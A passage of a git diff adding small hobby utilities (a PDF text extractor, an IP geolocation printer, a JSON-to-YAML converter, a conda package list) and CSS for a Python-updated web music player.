+print(textFile_stored_path) -image_list = [] -for filename in glob.glob(images): +with open(pdf_stored_path,'rb') as pdf_object: + pdf_read=PyPDF2.PdfFileReader(pdf_object) - image_list.append(filename) - -pdf = FPDF( unit = 'mm') - -imnames = [i.split("\\") for i in image_list] -imnames = [i[-1] for i in imnames ] -imnums = [i.split('.') for i in imnames] -imnums = [i[0] for i in imnums] -imnums = [int(i) for i in imnums] - - - -pos = 0 -images_dict = dict(zip(image_list, imnums)) -sorted_images = sorted(images_dict , key = images_dict.get) - -for i in list(sorted_images): - pdf.add_page() - im = Image.open(i) - pdf.image(i,pos,pos,200,250) - -pdf_name = raw_input("Enter the pdf name : ") -pdf_name = pdf_name+".pdf" -pdf.output(pdf_name) - - - - - - + pdf_pages=pdf_read.numPages + + for i in range(pdf_pages): + page_object=pdf_read.getPage(i) + with open(textFile_stored_path,'a+') as f: + f.write((page_object.extract_text())) + print(f"[+] Pdf Text has been extracted and written to {path.basename(textFile_stored_path)}") diff --git a/ipaddress/README.md b/ipaddress/README.md new file mode 100644 index 00000000..ef735315 --- /dev/null +++ b/ipaddress/README.md @@ -0,0 +1,3 @@ +# IP Address + +This scripts will print IP address of machine and info realted to the IP address . diff --git a/ipaddress/main.py b/ipaddress/main.py new file mode 100644 index 00000000..7d2627c3 --- /dev/null +++ b/ipaddress/main.py @@ -0,0 +1,27 @@ +import requests + +ip_provider = "http://ipaddr.in/json" +user_agent = { + 'User-agent': 'curl/7.82.0' + } +try : + web_request = requests.get(ip_provider, headers=user_agent , timeout=10) + response = web_request.json() + + ip = response["ip"] + city = response["city"] + area = response["region_name"] + zip_code = response["zip_code"] + country = response["country"] + + print( + f""" + IP address : {ip} + City : {city} + Area : {area} + Postal code : {zip_code} + Country : {country} + """ + ) +except : + print("Error !! Check your internt connection") \ No newline at end of file diff --git a/ipaddress/requirments.txt b/ipaddress/requirments.txt new file mode 100644 index 00000000..f2293605 --- /dev/null +++ b/ipaddress/requirments.txt @@ -0,0 +1 @@ +requests diff --git a/json-to-yaml/Readme.md b/json-to-yaml/Readme.md new file mode 100644 index 00000000..95113935 --- /dev/null +++ b/json-to-yaml/Readme.md @@ -0,0 +1,19 @@ +## JSON To YAML Converter + +If you are working with config files or need to expose YAML via an API, you will probably find yourself needing to convert a file from JSON to YAML format. +So I have tried to automate the same, by writing the following python script + +For running this, you need to install/import the following libraries +``` + +- import json +- import yaml +``` + + +Then in command prompt you just need to type: +``` + +python json2yaml.py input_file.json output_file.yaml +``` +Here, input_file.json needs to be replaced with the name of your json file, and the output_file.yaml needs to be replaced with the name which you want for your yaml file. diff --git a/json-to-yaml/example.json b/json-to-yaml/example.json new file mode 100644 index 00000000..d5ca56d1 --- /dev/null +++ b/json-to-yaml/example.json @@ -0,0 +1,22 @@ +{ + "glossary": { + "title": "example glossary", + "GlossDiv": { + "title": "S", + "GlossList": { + "GlossEntry": { + "ID": "SGML", + "SortAs": "SGML", + "GlossTerm": "Standard Generalized Markup Language", + "Acronym": "SGML", + "Abbrev": "ISO 8879:1986", + "GlossDef": { + "para": "A meta-markup language, used to create markup languages such as DocBook.", + "GlossSeeAlso": ["GML", "XML"] + }, + "GlossSee": "markup" + } + } + } + } +} \ No newline at end of file diff --git a/json-to-yaml/json2yaml.py b/json-to-yaml/json2yaml.py new file mode 100644 index 00000000..41f4ea8d --- /dev/null +++ b/json-to-yaml/json2yaml.py @@ -0,0 +1,35 @@ +import json +import os +import sys +import yaml + +# Checking there is a file name passed +if len(sys.argv) > 1: + # Opening the file + if os.path.exists(sys.argv[1]): + source_file = open(sys.argv[1], "r") + source_content = json.load(source_file) + source_file.close() + # Failikng if the file isn't found + else: + print("ERROR: " + sys.argv[1] + " not found") + exit(1) +# No file, no usage +else: + print("Usage: json2yaml.py [target_file.yaml]") + +# Processing the conversion +output = yaml.dump(source_content) + +# If no target file send to stdout +if len(sys.argv) < 3: + print(output) +# If the target file already exists exit +elif os.path.exists(sys.argv[2]): + print("ERROR: " + sys.argv[2] + " already exists") + exit(1) +# Otherwise write to the specified file +else: + target_file = open(sys.argv[2], "w") + target_file.write(output) + target_file.close() \ No newline at end of file diff --git a/json-to-yaml/output.yaml b/json-to-yaml/output.yaml new file mode 100644 index 00000000..566b8e09 --- /dev/null +++ b/json-to-yaml/output.yaml @@ -0,0 +1,17 @@ +glossary: + GlossDiv: + GlossList: + GlossEntry: + Abbrev: ISO 8879:1986 + Acronym: SGML + GlossDef: + GlossSeeAlso: + - GML + - XML + para: A meta-markup language, used to create markup languages such as DocBook. + GlossSee: markup + GlossTerm: Standard Generalized Markup Language + ID: SGML + SortAs: SGML + title: S + title: example glossary diff --git a/json-to-yaml/requirements.txt b/json-to-yaml/requirements.txt new file mode 100644 index 00000000..b9f0b386 --- /dev/null +++ b/json-to-yaml/requirements.txt @@ -0,0 +1,317 @@ +# This file may be used to create an environment using: +# $ conda create --name --file +# platform: win-64 +_ipyw_jlab_nb_ext_conf=0.1.0=py37_0 +alabaster=0.7.12=py37_0 +anaconda=2020.02=py37_0 +anaconda-client=1.7.2=py37_0 +anaconda-navigator=1.9.12=py37_0 +anaconda-project=0.8.4=py_0 +argh=0.26.2=py37_0 +asn1crypto=1.3.0=py37_0 +astroid=2.3.3=py37_0 +astropy=4.0=py37he774522_0 +atomicwrites=1.3.0=py37_1 +attrs=19.3.0=py_0 +autopep8=1.4.4=py_0 +babel=2.8.0=py_0 +backcall=0.1.0=py37_0 +backports=1.0=py_2 +backports.functools_lru_cache=1.6.1=py_0 +backports.shutil_get_terminal_size=1.0.0=py37_2 +backports.tempfile=1.0=py_1 +backports.weakref=1.0.post1=py_1 +bcrypt=3.1.7=py37he774522_0 +beautifulsoup4=4.8.2=py37_0 +bitarray=1.2.1=py37he774522_0 +bkcharts=0.2=py37_0 +blas=1.0=mkl +bleach=3.1.0=py37_0 +blosc=1.16.3=h7bd577a_0 +bokeh=1.4.0=py37_0 +boto=2.49.0=py37_0 +bottleneck=1.3.2=py37h2a96729_0 +bzip2=1.0.8=he774522_0 +ca-certificates=2020.1.1=0 +certifi=2019.11.28=py37_0 +cffi=1.14.0=py37h7a1dbc1_0 +chardet=3.0.4=py37_1003 +click=7.0=py37_0 +cloudpickle=1.3.0=py_0 +clyent=1.2.2=py37_1 +colorama=0.4.3=py_0 +comtypes=1.1.7=py37_0 +conda=4.8.5=py37_0 +conda-build=3.18.11=py37_0 +conda-env=2.6.0=1 +conda-package-handling=1.6.0=py37h62dcd97_0 +conda-verify=3.4.2=py_1 +console_shortcut=0.1.1=4 +contextlib2=0.6.0.post1=py_0 +convertapi=1.4.0=pypi_0 +cryptography=2.8=py37h7a1dbc1_0 +curl=7.68.0=h2a8f88b_0 +cycler=0.10.0=py37_0 +cython=0.29.15=py37ha925a31_0 +cytoolz=0.10.1=py37he774522_0 +dask=2.11.0=py_0 +dask-core=2.11.0=py_0 +decorator=4.4.1=py_0 +defusedxml=0.6.0=py_0 +diff-match-patch=20181111=py_0 +distributed=2.11.0=py37_0 +docutils=0.16=py37_0 +easygui=0.98.1=py37_0 +entrypoints=0.3=py37_0 +et_xmlfile=1.0.1=py37_0 +fastcache=1.1.0=py37he774522_0 +filelock=3.0.12=py_0 +flake8=3.7.9=py37_0 +flask=1.1.1=py_0 +flask-cors=3.0.8=py_0 +freetype=2.9.1=ha9979f8_1 +fsspec=0.6.2=py_0 +future=0.18.2=py37_0 +get_terminal_size=1.0.0=h38e98db_0 +gevent=1.4.0=py37he774522_0 +glob2=0.7=py_0 +greenlet=0.4.15=py37hfa6e2cd_0 +h5py=2.10.0=py37h5e291fa_0 +hdf5=1.10.4=h7ebc959_0 +heapdict=1.0.1=py_0 +html5lib=1.0.1=py37_0 +hypothesis=5.5.4=py_0 +icc_rt=2019.0.0=h0cc432a_1 +icu=58.2=ha66f8fd_1 +idna=2.8=py37_0 +imageio=2.6.1=py37_0 +imagesize=1.2.0=py_0 +importlib_metadata=1.5.0=py37_0 +imutils=0.5.3=pypi_0 +intel-openmp=2020.0=166 +intervaltree=3.0.2=py_0 +ipykernel=5.1.4=py37h39e3cac_0 +ipython=7.12.0=py37h5ca1d4c_0 +ipython_genutils=0.2.0=py37_0 +ipywidgets=7.5.1=py_0 +isort=4.3.21=py37_0 +itsdangerous=1.1.0=py37_0 +jdcal=1.4.1=py_0 +jedi=0.14.1=py37_0 +jinja2=2.11.1=py_0 +joblib=0.14.1=py_0 +jpeg=9b=hb83a4c4_2 +json5=0.9.1=py_0 +jsonschema=3.2.0=py37_0 +jupyter=1.0.0=py37_7 +jupyter_client=5.3.4=py37_0 +jupyter_console=6.1.0=py_0 +jupyter_core=4.6.1=py37_0 +jupyterlab=1.2.6=pyhf63ae98_0 +jupyterlab_server=1.0.6=py_0 +keyring=21.1.0=py37_0 +kiwisolver=1.1.0=py37ha925a31_0 +krb5=1.17.1=hc04afaa_0 +lazy-object-proxy=1.4.3=py37he774522_0 +libarchive=3.3.3=h0643e63_5 +libcurl=7.68.0=h2a8f88b_0 +libiconv=1.15=h1df5818_7 +liblief=0.9.0=ha925a31_2 +libpng=1.6.37=h2a8f88b_0 +libsodium=1.0.16=h9d3ae62_0 +libspatialindex=1.9.3=h33f27b4_0 +libssh2=1.8.2=h7a1dbc1_0 +libtiff=4.1.0=h56a325e_0 +libxml2=2.9.9=h464c3ec_0 +libxslt=1.1.33=h579f668_0 +llvmlite=0.31.0=py37ha925a31_0 +locket=0.2.0=py37_1 +lxml=4.5.0=py37h1350720_0 +lz4-c=1.8.1.2=h2fa13f4_0 +lzo=2.10=h6df0209_2 +m2w64-gcc-libgfortran=5.3.0=6 +m2w64-gcc-libs=5.3.0=7 +m2w64-gcc-libs-core=5.3.0=7 +m2w64-gmp=6.1.0=2 +m2w64-libwinpthread-git=5.0.0.4634.697f757=2 +markupsafe=1.1.1=py37he774522_0 +matplotlib=3.1.3=py37_0 +matplotlib-base=3.1.3=py37h64f37c6_0 +mccabe=0.6.1=py37_1 +menuinst=1.4.16=py37he774522_0 +mistune=0.8.4=py37he774522_0 +mkl=2020.0=166 +mkl-service=2.3.0=py37hb782905_0 +mkl_fft=1.0.15=py37h14836fe_0 +mkl_random=1.1.0=py37h675688f_0 +mock=4.0.1=py_0 +more-itertools=8.2.0=py_0 +mpmath=1.1.0=py37_0 +msgpack-python=0.6.1=py37h74a9793_1 +msys2-conda-epoch=20160418=1 +multipledispatch=0.6.0=py37_0 +mysql-connector-python=8.0.20=pypi_0 +navigator-updater=0.2.1=py37_0 +nbconvert=5.6.1=py37_0 +nbformat=5.0.4=py_0 +networkx=2.4=py_0 +nltk=3.4.5=py37_0 +nose=1.3.7=py37_2 +notebook=6.0.3=py37_0 +numba=0.48.0=py37h47e9c7a_0 +numexpr=2.7.1=py37h25d0782_0 +numpy=1.18.1=py37h93ca92e_0 +numpy-base=1.18.1=py37hc3f5095_1 +numpydoc=0.9.2=py_0 +olefile=0.46=py37_0 +opencv-contrib-python=4.3.0.36=pypi_0 +opencv-python=4.3.0.36=pypi_0 +openpyxl=3.0.3=py_0 +openssl=1.1.1d=he774522_4 +packaging=20.1=py_0 +pandas=1.0.1=py37h47e9c7a_0 +pandoc=2.2.3.2=0 +pandocfilters=1.4.2=py37_1 +paramiko=2.7.1=py_0 +parso=0.5.2=py_0 +partd=1.1.0=py_0 +path=13.1.0=py37_0 +path.py=12.4.0=0 +pathlib2=2.3.5=py37_0 +pathtools=0.1.2=py_1 +patsy=0.5.1=py37_0 +pep8=1.7.1=py37_0 +pexpect=4.8.0=py37_0 +pickleshare=0.7.5=py37_0 +pillow=7.0.0=py37hcc1f983_0 +pip=20.0.2=py37_1 +pkginfo=1.5.0.1=py37_0 +pluggy=0.13.1=py37_0 +ply=3.11=py37_0 +portaudio=19.6.0=he774522_4 +powershell_shortcut=0.0.1=3 +prometheus_client=0.7.1=py_0 +prompt_toolkit=3.0.3=py_0 +psutil=5.6.7=py37he774522_0 +py=1.8.1=py_0 +py-lief=0.9.0=py37ha925a31_2 +pyaudio=0.2.11=py37he774522_2 +pycodestyle=2.5.0=py37_0 +pycosat=0.6.3=py37he774522_0 +pycparser=2.19=py37_0 +pycrypto=2.6.1=py37hfa6e2cd_9 +pycurl=7.43.0.5=py37h7a1dbc1_0 +pydocstyle=4.0.1=py_0 +pyflakes=2.1.1=py37_0 +pygments=2.5.2=py_0 +pylint=2.4.4=py37_0 +pynacl=1.3.0=py37h62dcd97_0 +pyodbc=4.0.30=py37ha925a31_0 +pyopenssl=19.1.0=py37_0 +pyparsing=2.4.6=py_0 +pyqt=5.9.2=py37h6538335_2 +pyreadline=2.1=py37_1 +pyrsistent=0.15.7=py37he774522_0 +pysocks=1.7.1=py37_0 +pytables=3.6.1=py37h1da0976_0 +pytest=5.3.5=py37_0 +pytest-arraydiff=0.3=py37h39e3cac_0 +pytest-astropy=0.8.0=py_0 +pytest-astropy-header=0.1.2=py_0 +pytest-doctestplus=0.5.0=py_0 +pytest-openfiles=0.4.0=py_0 +pytest-remotedata=0.3.2=py37_0 +python=3.7.6=h60c2a47_2 +python-dateutil=2.8.1=py_0 +python-jsonrpc-server=0.3.4=py_0 +python-language-server=0.31.7=py37_0 +python-libarchive-c=2.8=py37_13 +python_abi=3.7=1_cp37m +pytube=9.6.0=pypi_0 +pytube3=9.6.4=pypi_0 +pytz=2019.3=py_0 +pywavelets=1.1.1=py37he774522_0 +pywin32=227=py37he774522_1 +pywin32-ctypes=0.2.0=py37_1000 +pywinpty=0.5.7=py37_0 +pyyaml=5.3=py37he774522_0 +pyzmq=18.1.1=py37ha925a31_0 +qdarkstyle=2.8=py_0 +qt=5.9.7=vc14h73c81de_0 +qtawesome=0.6.1=py_0 +qtconsole=4.6.0=py_1 +qtpy=1.9.0=py_0 +requests=2.22.0=py37_1 +rope=0.16.0=py_0 +rtree=0.9.3=py37h21ff451_0 +ruamel_yaml=0.15.87=py37he774522_0 +scikit-image=0.16.2=py37h47e9c7a_0 +scikit-learn=0.22.1=py37h6288b17_0 +scipy=1.4.1=py37h9439919_0 +seaborn=0.10.0=py_0 +send2trash=1.5.0=py37_0 +setuptools=45.2.0=py37_0 +simplegeneric=0.8.1=py37_2 +singledispatch=3.4.0.3=py37_0 +sip=4.19.8=py37h6538335_0 +six=1.14.0=py37_0 +snappy=1.1.7=h777316e_3 +snowballstemmer=2.0.0=py_0 +sortedcollections=1.1.2=py37_0 +sortedcontainers=2.1.0=py37_0 +soupsieve=1.9.5=py37_0 +speechrecognition=3.6.3=py37_1000 +sphinx=2.4.0=py_0 +sphinxcontrib=1.0=py37_1 +sphinxcontrib-applehelp=1.0.1=py_0 +sphinxcontrib-devhelp=1.0.1=py_0 +sphinxcontrib-htmlhelp=1.0.2=py_0 +sphinxcontrib-jsmath=1.0.1=py_0 +sphinxcontrib-qthelp=1.0.2=py_0 +sphinxcontrib-serializinghtml=1.1.3=py_0 +sphinxcontrib-websupport=1.2.0=py_0 +spyder=4.0.1=py37_0 +spyder-kernels=1.8.1=py37_0 +sqlalchemy=1.3.13=py37he774522_0 +sqlite=3.31.1=he774522_0 +statsmodels=0.11.0=py37he774522_0 +sympy=1.5.1=py37_0 +tbb=2020.0=h74a9793_0 +tblib=1.6.0=py_0 +terminado=0.8.3=py37_0 +testpath=0.4.4=py_0 +tk=8.6.8=hfa6e2cd_0 +toolz=0.10.0=py_0 +tornado=6.0.3=py37he774522_3 +tqdm=4.42.1=py_0 +traitlets=4.3.3=py37_0 +typing-extensions=3.7.4.3=pypi_0 +ujson=1.35=py37hfa6e2cd_0 +unicodecsv=0.14.1=py37_0 +urllib3=1.25.8=py37_0 +vc=14.1=h0510ff6_4 +vs2015_runtime=14.16.27012=hf0eaf9b_1 +watchdog=0.10.2=py37_0 +wcwidth=0.1.8=py_0 +webencodings=0.5.1=py37_1 +werkzeug=1.0.0=py_0 +wheel=0.34.2=py37_0 +widgetsnbextension=3.5.1=py37_0 +win_inet_pton=1.1.0=py37_0 +win_unicode_console=0.5=py37_0 +wincertstore=0.2=py37_0 +winpty=0.4.3=4 +wrapt=1.11.2=py37he774522_0 +xlrd=1.2.0=py37_0 +xlsxwriter=1.2.7=py_0 +xlwings=0.17.1=py37_0 +xlwt=1.3.0=py37_0 +xmltodict=0.12.0=py_0 +xz=5.2.4=h2fa13f4_4 +yaml=0.1.7=hc54c509_2 +yapf=0.28.0=py_0 +zeromq=4.3.1=h33f27b4_3 +zict=1.0.0=py_0 +zipp=2.2.0=py_0 +zlib=1.2.11=h62dcd97_3 +zstd=1.3.7=h508b16e_0 diff --git a/mailing/README.md b/mailing/README.md index 73a2f39d..0d1fa7d5 100644 --- a/mailing/README.md +++ b/mailing/README.md @@ -1,3 +1,3 @@ For linux/unix users : -./gmail_messenger.py + File Link diff --git a/py_based_music_player/README.md b/py_based_music_player/README.md new file mode 100644 index 00000000..ce5d9ba9 --- /dev/null +++ b/py_based_music_player/README.md @@ -0,0 +1,25 @@ +# Web Based Music Player , Update Music Using Python + +-> Web based ( HTML, CSS , JS) based Music player, but instead of manually changing and adding music use python to do that. + +-> Cause without Database it is very hard to maintain this offline music player, + +### How to use + +-> add your music into assets > music > / music files + +-> each folder in assets > music will act as playlist. + +-> for each music add it's relevant art cover .jpg files into assets > cover > / music file cover (with the same name as your relevant .mp3 file). + +-> add album cover into assets > cover > album_cover folder. + +-> Now Run `python py_based_music_player.py` + +-> this will update the .js file of music data and use can open music.html to see the changes. + +### Note + +-> On first load their is default folder > which contains music to launch on first start, + +you can change that also. \ No newline at end of file diff --git a/py_based_music_player/css/main/music.css b/py_based_music_player/css/main/music.css new file mode 100644 index 00000000..9a68e722 --- /dev/null +++ b/py_based_music_player/css/main/music.css @@ -0,0 +1,189 @@ +@import url('../webfonts/lato.css'); + + +.music-container { + background-color: #00353f; + width: 80%; + border-radius: 15px; + margin-left: 20px; + box-shadow: 0 20px 20px 0 #335f6a; + display: flex; + padding: 20px 30px; + position: relative; + margin: 180px 50px 70px 50px; + z-index: 10; +} + +.img-container { + position: relative; + width: 110px; +} + + +.img-container img { + border-radius: 50%; + border: 2px solid #00353f; + object-fit: cover; + height: 110px; + width: inherit; + position: absolute; + bottom: 0; + left: 0; + box-shadow: 0px 0px 5px rgba(255, 255, 255, 0.5); + animation: rotate 3s linear infinite; + animation-play-state: paused; +} + +.music-container.play .img-container img { + animation-play-state: running; +} + +@keyframes rotate { + from { + transform: rotate(0deg); + } + + to { + transform: rotate(360deg); + } +} + +.navigation { + display: flex; + align-items: center; + justify-content: center; + z-index: 1; +} + +.action-btn { + background: transparent; + border: 0; + color: #93a8b3; + font-size: 20px; + cursor: pointer; + margin: 0 20px; +} + +.action-btn.action-btn-big { + color: #93a8b3; + font-size: 30px; +} + +.action-btn:focus { + outline: 0; +} + +.action-btn:hover { + color: #000f19; + text-shadow: 0 0 5px #000f19; +} + +.action-btn .repeat-active { + color: #000f19; +} + + +.action-btn .random-active { + color: #000f19; +} + +.music-info { + background-color: #335f6a; + border-radius: 15px 15px 0 0; + position: absolute; + top: 0; + left: 20px; + width: calc(100% - 40px); + padding: 10px 10px 10px 150px; + transform: translateY(0%); + transition: transform 0.3s ease-in, opacity 0.3s ease-in; + opacity: 0; + z-index: 0; + +} + +.music-info #artist { + color: #93a8b3; + text-transform: uppercase; +} + +.music-container.play .music-info { + opacity: 1; + transform: translateY(-100%); +} + +.music-info h4 { + margin: 0; +} + +.progress-container { + background: #fff; + border-radius: 5px; + cursor: pointer; + margin: 10px 0; + height: 4px; + width: 100% +} + + +.progress { + background-color: #000f19; + border-radius: 5px; + height: 100%; + width: 0%; + transition: width 0.1s linear' +} + +.next-queue .list_item { + display: flex; + align-items: center; + cursor: pointer; + width: 100%; + height: 74px; + transition: 0.4s; +} + +.next-queue, li { + list-style: none; + padding: 0; +} + + +.next-queue img { + width: 50px; + height: 50px; + margin: 0 12px 0 31px; + border-radius: 50%; + position: relative; + opacity: 0.8; + background-size: cover; + border-radius: 5px; + box-shadow: 0px 0px 5px rgba(255, 255, 255, 0.5); +} + +.next-queue .info { + max-width: 600px; +} + +.next-queue .info .title { + color: #ffffff; + font-size: 15px; + font-weight: 600; +} + +.next-queue .info .artist { + font-size: 13px; + text-transform: uppercase; + color: #8fa4af; +} + +.queue-active { + border: 3px solid #fff; + box-shadow: 0px 0px 5px rgba(255, 255, 255, 0.5); + padding: 20px; +} + +.next-queue .list_item { + width: 80%; + margin-left:10px; +} \ No newline at end of file diff --git a/py_based_music_player/css/main/sidebar.css b/py_based_music_player/css/main/sidebar.css new file mode 100644 index 00000000..06303642 --- /dev/null +++ b/py_based_music_player/css/main/sidebar.css @@ -0,0 +1,184 @@ +/* Google Font Link */ +@import url('../webfonts/css2.css'); + +html,body{ + height:100%; + min-height:100%; +} + +*{ + margin: 0; + padding: 0; + box-sizing: border-box; + font-family: "Poppins" , sans-serif; +} + +.music-player{ + width: 650px; + display: flex; +} + +.sidebar{ + width: 78px; + background: #00353f; + padding: 6px 14px; + z-index: 99; + transition: all 0.5s ease; +} +.sidebar.open{ + width: 250px; +} +.sidebar .logo-details{ + height: 60px; + display: flex; + align-items: center; + position: relative; +} +.sidebar .logo-details .icon{ + opacity: 0; + transition: all 0.5s ease; +} +.sidebar .logo-details .logo_name{ + color: #fff; + font-size: 20px; + font-weight: 600; + opacity: 0; + transition: all 0.5s ease; +} +.sidebar.open .logo-details .icon, +.sidebar.open .logo-details .logo_name{ + opacity: 1; +} +.sidebar .logo-details #btn{ + position: absolute; + top: 50%; + right: 0; + transform: translateY(-50%); + font-size: 22px; + transition: all 0.4s ease; + font-size: 23px; + text-align: center; + cursor: pointer; + transition: all 0.5s ease; +} +.sidebar.open .logo-details #btn{ + text-align: right; +} +.sidebar i{ + color: #fff; + height: 60px; + min-width: 50px; + font-size: 28px; + text-align: center; + line-height: 60px; +} +.sidebar .nav-list{ + margin-top: 20px; + height: 100%; +} +.sidebar li{ + position: relative; + margin: 8px 0; + list-style: none; +} +.sidebar li .tooltip{ + position: absolute; + top: -20px; + left: calc(100% + 15px); + z-index: 3; + background: #fff; + box-shadow: 0 5px 10px rgba(0, 0, 0, 0.3); + padding: 6px 12px; + border-radius: 4px; + font-size: 15px; + font-weight: 400; + opacity: 0; + white-space: nowrap; + pointer-events: none; + transition: 0s; +} +.sidebar li:hover .tooltip{ + opacity: 1; + pointer-events: auto; + transition: all 0.4s ease; + top: 50%; + transform: translateY(-50%); +} +.sidebar.open li .tooltip{ + display: none; +} + + +.sidebar li a{ + display: flex; + height: 100%; + width: 100%; + border-radius: 12px; + align-items: center; + text-decoration: none; + transition: all 0.4s ease; + background: #11101D; +} +.sidebar li a:hover{ + background: #FFF; +} +.sidebar li a .links_name{ + color: #fff; + font-size: 15px; + font-weight: 400; + white-space: nowrap; + opacity: 0; + pointer-events: none; + transition: 0.4s; +} +.sidebar.open li a .links_name{ + opacity: 1; + pointer-events: auto; +} +.sidebar li a:hover .links_name, +.sidebar li a:hover i{ + transition: all 0.5s ease; + color: #11101D; +} +.sidebar li i{ + height: 50px; + line-height: 50px; + font-size: 18px; + border-radius: 12px; +} + +.sidebar li img{ + height: 45px; + width: 45px; + object-fit: cover; + border-radius: 6px; + margin-right: 10px; +} + +.home-section{ + height: 100%; + min-height: 100vh; + width: calc(100% - 78px); + transition: all 0.5s ease; + z-index: 2; + background-color: #0a0f28; + background-image: linear-gradient(45deg, #0a0f28, #0c0f28); +} +.sidebar.open ~ .home-section{ + left: 250px; + width: calc(100% - 250px); + background-color: #0a0f28; + background-image: linear-gradient(45deg, #0a0f28, #0c0f28); +} +.home-section .text{ + display: inline-block; + color: white; + font-size: 25px; + font-weight: 500; + margin: 18px; +} +@media (max-width: 420px) { + .sidebar li .tooltip{ + display: none; + } +} diff --git a/py_based_music_player/css/outside/all.min.css b/py_based_music_player/css/outside/all.min.css new file mode 100644 index 00000000..3158702f --- /dev/null +++ b/py_based_music_player/css/outside/all.min.css @@ -0,0 +1,5 @@ +/*! + * Font Awesome Free 5.10.2 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s linear infinite;animation:fa-spin 2s linear infinite}.fa-pulse{-webkit-animation:fa-spin 1s steps(8) infinite;animation:fa-spin 1s steps(8) infinite}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scaleX(-1);transform:scaleX(-1)}.fa-flip-vertical{-webkit-transform:scaleY(-1);transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical,.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1);transform:scale(-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;line-height:2em;position:relative;vertical-align:middle;width:2.5em}.fa-stack-1x,.fa-stack-2x{left:0;position:absolute;text-align:center;width:100%}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-500px:before{content:"\f26e"}.fa-accessible-icon:before{content:"\f368"}.fa-accusoft:before{content:"\f369"}.fa-acquisitions-incorporated:before{content:"\f6af"}.fa-ad:before{content:"\f641"}.fa-address-book:before{content:"\f2b9"}.fa-address-card:before{content:"\f2bb"}.fa-adjust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-adobe:before{content:"\f778"}.fa-adversal:before{content:"\f36a"}.fa-affiliatetheme:before{content:"\f36b"}.fa-air-freshener:before{content:"\f5d0"}.fa-airbnb:before{content:"\f834"}.fa-algolia:before{content:"\f36c"}.fa-align-center:before{content:"\f037"}.fa-align-justify:before{content:"\f039"}.fa-align-left:before{content:"\f036"}.fa-align-right:before{content:"\f038"}.fa-alipay:before{content:"\f642"}.fa-allergies:before{content:"\f461"}.fa-amazon:before{content:"\f270"}.fa-amazon-pay:before{content:"\f42c"}.fa-ambulance:before{content:"\f0f9"}.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-amilia:before{content:"\f36d"}.fa-anchor:before{content:"\f13d"}.fa-android:before{content:"\f17b"}.fa-angellist:before{content:"\f209"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-down:before{content:"\f107"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angry:before{content:"\f556"}.fa-angrycreative:before{content:"\f36e"}.fa-angular:before{content:"\f420"}.fa-ankh:before{content:"\f644"}.fa-app-store:before{content:"\f36f"}.fa-app-store-ios:before{content:"\f370"}.fa-apper:before{content:"\f371"}.fa-apple:before{content:"\f179"}.fa-apple-alt:before{content:"\f5d1"}.fa-apple-pay:before{content:"\f415"}.fa-archive:before{content:"\f187"}.fa-archway:before{content:"\f557"}.fa-arrow-alt-circle-down:before{content:"\f358"}.fa-arrow-alt-circle-left:before{content:"\f359"}.fa-arrow-alt-circle-right:before{content:"\f35a"}.fa-arrow-alt-circle-up:before{content:"\f35b"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-down:before{content:"\f063"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrows-alt:before{content:"\f0b2